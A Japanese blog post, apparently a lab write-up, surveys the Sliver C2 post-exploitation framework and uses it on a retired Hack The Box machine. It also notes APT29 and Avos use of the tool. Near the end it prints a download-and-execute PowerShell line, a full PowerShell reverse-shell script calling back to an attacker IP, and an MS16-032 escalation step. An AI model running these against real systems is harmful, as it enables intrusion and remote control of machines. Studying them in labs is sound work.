Sliver C2についての調査


# はじめに
本記事では、Sliver C2の基本的な機能について調査し、Metasploit等の他ツールとの違いについて整理することを目的としています。
基本的な機能の紹介をした後、実際にSliverC2を使ってHack The Boxのマシンを解いてみようと思います。

# 概要

Sliver C2は、[Bishop Fox](https://bishopfox.com/)によって作成されたC2フレームワークで、Cobalt Strikeや、Metasploitのような機能を提供するポストエクスプロイトツールです。

名前は、MTGのスリヴァーという種族？が由来みたいです。

### リンク集

- Bishop Fox社: [https://bishopfox.com/](https://bishopfox.com/)
- SliverC2 GitHub: [https://github.com/BishopFox/sliver](https://github.com/BishopFox/sliver)
- SliverC2 Wiki: [https://github.com/BishopFox/sliver/wiki/](https://github.com/BishopFox/sliver/wiki/)
- SliverC2 release: [https://github.com/BishopFox/sliver/releases](https://github.com/BishopFox/sliver/releases)

# 環境について

構築すると以下のような環境を使用することができます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/1b95a0a9-1264-af96-d7a8-0a48ffebf118.png)
（上図は[Sliver C2 Wiki](https://github.com/BishopFox/sliver/wiki/)より参照）

構築するホストは、主にC2 Server, Sliver(implant), Operator(player, client)の三種類です。
ペンテスターはplayerからC2 Serverにアクセスし、implantでのポストエクスプロイトを行います。
図のように複数のplayerで同時にアクセスすることが可能です。
Windows、Mac、LinuxのOSに対応しているので、様々な環境で使用することが可能です。

今回の環境では、以下のようにローカルのkaliVMにサーバとクライアントを立て、Hack The Boxのマシンにimplantを構築しました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/76689399-93a8-065a-e514-506770ebab74.png)

# 環境構築

- [https://github.com/BishopFox/sliver/releases](https://github.com/BishopFox/sliver/releases) の最新リリースから、サーバ＆クライアントの実行ファイルをダウンロードします。
    - 今回はvmのkali linux上での構築なのでlinux用のサーバとクライアントを使用します。
    - wget <client or server url>
    
    ```bash
    #linux client
    wget https://github.com/BishopFox/sliver/releases/download/v1.5.38/sliver-client_linux
    
    #linux server
    wget https://github.com/BishopFox/sliver/releases/download/v1.5.38/sliver-server_linux
    ```
    

- ダウンロードしたサーバを実行します
    
    ```bash
    $ chmod +x sliver-server_linux
    $ ./sliver-server_linux
    ```
    
- 実行するとこのようにcliが起動します
    ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/1f51e875-562c-9f1d-c031-b4f8e2fa7a4e.png)




# 基本的な機能

## インプラント

SliverC2を使うためには、ターゲットでインプラントというペイロードを実行し、サーバに接続させる必要があります。

- インプラントの生成

まず、サーバのコンソールにてインプラントを生成します。

```bash
generate --mtls 10.10.14.3 --save /home/kali/SliverC2 --os linux
```
|オプション|内容|
|---|---|
| `--os` | ターゲットのOSを指定 |  
| `--mtls` | 接続方式の指定（ほかには、WireGuard, HTTP(S), DNSをサポートしている） |
| `--save` | 保存先を指定 |

- リスナーの作成

サーバにてインプラントの待ち受けを行うリスナーを生成します。

```bash
mtls
```

これだけで生成完了です。このほかには、http, https, dnsでも生成可能です。

- インプラントの実行

ターゲットからインプラントの実行を行い、サーバに対して接続、セッションを確立します。

wget等でターゲットに対してインプラントを転送し、以下を実行します。

```bash
chmod +x <インプラント名>
./<インプラント名>
```

実行するとIDが分かるので、サーバ側で以下のコマンドを実行します。

```bash
use <ID>
```

シェルが取得できました。

セッションの一覧が見たいときは、`sessions` コマンドを実行すると見れます。

**※ビーコンモード**

インプラントには**セッションモード**と**ビーコンモード**があり、ここまでで使用したのはセッションモードです。

ビーコンモードのインプラントは以下のコマンドで生成できます。

```jsx
generate beacon --mtls 10.10.14.3 --save /home/kali/SliverC2 --os linux
```

セッションモードは、セッションを作って接続したままにするのに対し、ビーコンモードは、定期的にサーバにアクセスし、設定されたタスクを実行するものです。

## 拡張機能

Sliver C2は、Armoryというパッケージマネージャによって拡張機能を提供しています。これによって、サードパーティ製のツールを簡単にインストールし、使用することが可能となります。

提供されるツールについては、armoryコマンドを実行することで確認できます。

- ツールのインストール

```bash
#ツールのリスト
armory

#指定したツールのインストール
armory install <ツール名>

#提供されているすべてのツールのインストール
armory install all
```

- ツールの更新

```bash
#すべてのツールの更新
armory update
```

実際に使ってみる

- パッケージリスト

たくさんのツールが使用可能でしたが、Windows周りのツールが多いようです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/04d2a190-e2ae-c64c-8b11-594d4eb9198a.png)


- rubeusのインストール

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/5302026d-2c7e-e7eb-51ec-b69ada4f353f.png)


## マルチプレイヤーモード

このモードでは、複数のクライアント（Win, Mac, Linuxのどれでも）がC2サーバに対してアクセスでき、gRPCで待ち受けるサーバと接続します。

- サーバ側

以下のコマンドで構成ファイルの生成を行います。

```bash
new-operator --name moloch --lhost 127.0.0.1
```

サーバにて、マルチプレーヤーモードに切り替えます。

```bash
multiplayer
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/f40acac5-b334-524b-a42b-ea47d0965327.png)


- クライアント側

以下のコマンドで構成ファイルをインポートします。

```bash
./sliver-client_linux import <構成ファイル>
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/cd929d8e-3633-cd05-8be8-0e22129f5477.png)


クライアントを実行します。

```bash
./server-client_linux
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/aefa66be-3bf5-f679-1a83-9bd7738632ed.png)

これでクライアントからの操作が可能となりました。

同じ手順で、ほかにもクライアントを用意すると、複数人での操作が可能となります（同一ホストでは検証済みです。）。

### Metasploitのペイロード実行

metasploitのペイロード実行機能もあります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/7540efc6-6fff-19ce-e49f-49b3d50aedff.png)

※上図の赤文字部分は、どのインプラントに接続中かを示す文字列です。インプラントごとに名前が付けられて、わかりやすくなっています。

```bash
msf -L 10.10.14.4 -m meterpreter_reverse_tcp
```

上記のようなコマンドを実行すると、ペイロードの作成、送信、実行をセットで行ってくれるようです。

今回の検証では、以下のような出力で、うまくシェルの取得までできませんでした。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/2538f23a-b475-cb6f-bb7f-03da1c450303.png)


## ステージャ機能

サイズが大きいペイロードを転送するために、ステージング機能があります。

以下のコマンドでリスナーの設定を作成します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/a59c8186-9273-458b-87bf-8d0e56ad814b.png)
以下は作成した設定です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/13fc2e74-92a0-51fc-c96e-78fddc1a1086.png)
以下のコマンドでステージングリスナーを作成します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/2281ea38-655f-8923-e686-9acc0b1a1a82.png)
以下のコマンドでステージャを作成します。
```jsx
generate stager --lhost 10.10.14.4 --lport 1234 --protocol http --save /tmp
```

## .NETアセンブリのメモリ内実行

ターゲットで実行ファイルを動かす際アンチウイルスが作動しないように、ディスクに保存せずメモリ内でファイルを実行する機能です。

セッションに入ったのち、以下のコマンドで実行できます。

```jsx
execute-assembly <実行ファイル>
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/9e6e49eb-5656-5a5e-412a-3f870f841132.png)
これにより、ファイルを転送せず実行することも可能です。

## この他の機能
SliverC2には、紹介した以外にもたくさんの機能があります。
以下にいくつかご紹介しておきます。
- ピボット機能
- COFF/BOFのインメモリローダ
- ポートフォワード　など

# Hack The Boxで使ってみる
ここからは、Hack The BoxのリタイアマシンであるOptimumを対象として、実際にSliver C2を使用してみます。
SliverC2はポストエクスプロイトツールなので、マシンの初期シェルを取得したところから始めます。

## Sliver Serverの起動
まず、KaliにてSliver Serverを起動します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/d8d40816-87d3-f8ec-41fe-f58a9f013c04.png)

## インプラントの作成
対象にインプラントを作成する必要があるので、Kaliにて以下のようにインプラントの実行ファイルを生成します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/35d54175-4f97-4785-b3e8-4d055ba47cb5.png)

対象に実行ファイルをダウンロードします。
まず、Kaliで簡易Webサーバを立てます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/3fe905db-f310-a0b9-bd72-a0a5922a68da.png)

次に、wgetでダウンロードします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/7f84c889-f97a-b896-0ce6-406b99ed3c9a.png)
これでインプラントの実行ファイルのダウンロードが完了しました。

ダウンロードした実行ファイルを使用してインプラントを構築します。
まず、Kaliのサーバ側にて、リスナーを生成します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/799f11a5-24f7-3c9c-9e01-361c81d32c5d.png)

対象にて、ファイルを実行します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/bf8048a4-ac93-f77d-95d9-5b2f42b1d846.png)
すると、下図のようにセッションが確立されたことが分かります。これで、インプラントが作成できました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/35104206-633f-83c5-7bd7-2b2cc42b420a.png)

## クライアントの作成
このままサーバのコンソールでも操作できますが、複数人で使用することを想定しクライアントを作成して作業していきます。

サーバ側で構成ファイルを作成し、マルチプレイヤーモードに変更します。
ここで、今回はローカルにサーバとクライアントを立てるので、lhostにlocalhostのipを指定しています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/13b7b306-80db-e9fb-1eb1-8e89f562db1c.png)
クライアントに構成ファイルをインポートします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/9e4aae19-acc7-1efd-d102-5919ff4e08a9.png)
クライアントを起動します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/58d81c57-d23f-e580-1431-15adf89c86ef.png)
これで、クライアントから操作ができるようになりました。

## 環境の列挙
ここからは、先ほど作成したインプラントのセッションを使用し、対象の列挙を行っていきます。
まず、以下のようにセッションに入ります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/a3a73eaf-e200-608a-f65f-0c7fb26f977a.png)
SliverC2は、デフォルトでも多くのコマンドを提供しています。helpコマンドを使うと、使用できるコマンドが分かります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/af1be95e-ec49-0119-b198-a3d4831afe0c.png)

対象についての情報をinfoコマンドで取得します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/8f9b1f10-8863-a41a-7946-3b310384f574.png)
Version: Server 2012 R2 build 9600 x86_64 から、対象がWindows Server 2012を使用していることが分かりました。また、現在のユーザはkostasというユーザのようです。

getprivsコマンドで現在の権限を取得します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/56cd6af3-1f3b-e4e3-bdf5-ec180cd1ea16.png)
悪用できそうな権限はなさそうです。

## 外部ツールでの列挙
armoryコマンドで外部ツールを管理できるので、使用してみます。
ここでは、バンドルとして列挙ツールがまとまっている.net-reconをインストールします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/38388fcb-931b-78d0-a080-15cef9517e6d.png)

ここでは、sharpupを実行します。
sharpupは、多数の権限昇格チェックを行ってくれるツールです。引数をauditのみにすることで、すべての項目をチェックしてくれます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/9e203918-682d-fe65-9d14-6d3e67f09a87.png)
現在のユーザkostasのパスワード（kdeEjDowkS*）が分かりました。

次に、.NETアセンブリのメモリ内実行機能を用いてwinPEASを実行します。
winPEASは、Windows環境の権限昇格に関連するファイルやプロセスなどを列挙してくれるツールです。

まず、KaliにwinPEASを用意します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/efaebec3-1b84-79b6-8a82-854c95472010.png)
execute-assemblyコマンドを使用して実行します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/b668714a-abff-ea34-7604-77525c6eed6d.png)
特に悪用できそうな情報はありませんでした。

## 既知の脆弱性
Windowsの既知の脆弱性を探すツールとしてWindows-Exploit-Suggesterというツールがあります。このツールを使って脆弱性の列挙をします。

対象でsysteminfoコマンドを実行し、その結果をKaliに保存します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/31112749-59eb-7777-24cf-d7795d5988f5.png)
以下のコマンドでWindows-Exploit-Suggesterを実行します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/66fd9c55-62e0-edeb-b625-528633012608.png)
MS16-032という権限昇格の脆弱性が見つかりました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/ebe64bf7-3699-eb97-6ad6-f35d14795c4e.png)

## 権限昇格
MS16-032で権限昇格を行います。
GitHubでPoCを見つけたのでこちらを使用します。
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1

PoCの中身は、指定したコマンドを実行できる関数なので、末尾にコマンドを挿入します。
ここでは、以下のコマンドを使用します。
```
Invoke-MS16-032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.2/revshell.ps1')"
```

リバースシェルを実行するファイルを作成します。
```revshell.ps1
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.2',123);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```

PythonでWebサーバを実行し、ncコマンドでシェルのリッスンを行います。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/5d226fcb-9e57-6c80-6d50-68bcae405604.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/521c8c1c-7988-d378-105e-c07d9e91e99e.png)
Invoke-MS16-032.ps1を対象にアップロードします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/739ea638-f2a8-fe27-21c5-37a10e62a7f1.png)
アップロードしたInvoke-MS16-032.ps1を実行すると、以下のようにシェルが得られます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664774/17c1f1c3-722d-6388-0581-b419f9c0379e.png)
管理者権限が取得できました！


# 脅威としてのSliver
（23/05/29 14:30追記）
ここまで紹介してきたような技術は、実際に攻撃者などの脅威アクターによって悪用されています。
実際にはどのような脅威があるのか、過去の事例を紹介します。

## APT29 
[MITRE ATT&CK APT29](https://attack.mitre.org/groups/G0016/)や[NCSCのレポート](https://www.ncsc.gov.uk/files/Advisory%20Further%20TTPs%20associated%20with%20SVR%20cyber%20actors.pdf)によると、ロシアの諜報機関と関係があるとされているAPT29がSliverC2を使用していたようです。
2020年に起きたSolarWindsという企業に対しての攻撃の際、アクセスの維持のために使用されたと考えられています。
## Avos
ランサムウェアグループである[Avos](https://blog.talosintelligence.com/avoslocker-new-arsenal/)は、2022年に攻撃を行った際、新たなツールとしてSliverを使用しました。
実際には、一連の攻撃の中でSliverのペイロードが実行されたことが確認されています。
攻撃の際には、Cobalt Strike等の他ツールと合わせて使用されたようです。


# Metasploitとの比較
メジャーなエクスプロイトフレームワークであるMetasploitとSliverC2でどのような違いがあるか、以下の表にまとめました。

|  | Metasploit | Sliver C2 |
| --- | --- | --- |
| C2 サーバとしての利用（複数人での操作） | できない | できる |
| エラー文の粒度 | 細かい | あまり細かく出ない印象 |
| ウイルス対策の回避 | モジュールがある | 外部ツールと合わせることで実装 |
| 拡張機能 | 独自で拡張可能 | 独自で拡張可能 |
| ペイロードの生成 | ペイロードの選択が必要 | 簡単なものであれば、OSの選択のみ |
| 文献の量 | 非常に多い | Wikiは充実しているが、他の文献は少ない |

# 所感
基本的に機能は充実しているように思いました。ですが文献が少ないため、使用方法が分かりにくいものも多くありました。
BOFのローダなども外部ツールを使用することで使用可能でしたが、Metasploitでも対応可能な機能が多いかと思いました。ですが、とても簡単に外部ツールが利用できる仕組み（armoryやexecute-assembly）があったので、とても使いやすく感じました。
コマンドについてもわかりやすいものが多く、特にMetasploitのペイロード実行機能等については、非常に簡単な操作で使用できました。

# まとめ
ここまで、Sliver C2の機能について試してきました。
使用場面についてですが、複数人で同じ環境を用いたい場合や、Windows環境に対してのエクスプロイトを行いたい際などに適していると思います。
限られてはいますが、パッケージの管理を一括で行えるため、環境の管理も楽になるのではないかと思います。
ですが、今回試した内容でフレームワークとして使うのであれば、Metasploitの方がよいかと思います。やはり文献が少ないのは大変でした。
今後の機能拡充にも注目していきたいと思います。

読んでいただきありがとうございました。

### 参考文献
- https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1
- [0xdf hacks stuff HTB: Optimum](https://0xdf.gitlab.io/2021/03/17/htb-optimum.html)
- [MITRE ATT&CK APT29](https://attack.mitre.org/groups/G0016/)
- [NCSC Further TTPs associated with SVR cyber actors](https://www.ncsc.gov.uk/files/Advisory%20Further%20TTPs%20associated%20with%20SVR%20cyber%20actors.pdf)
- [MITRE ATT&CK C0018](https://attack.mitre.org/campaigns/C0018/)
- [Avos ransomware group expands with new attack arsenal](https://blog.talosintelligence.com/avoslocker-new-arsenal/)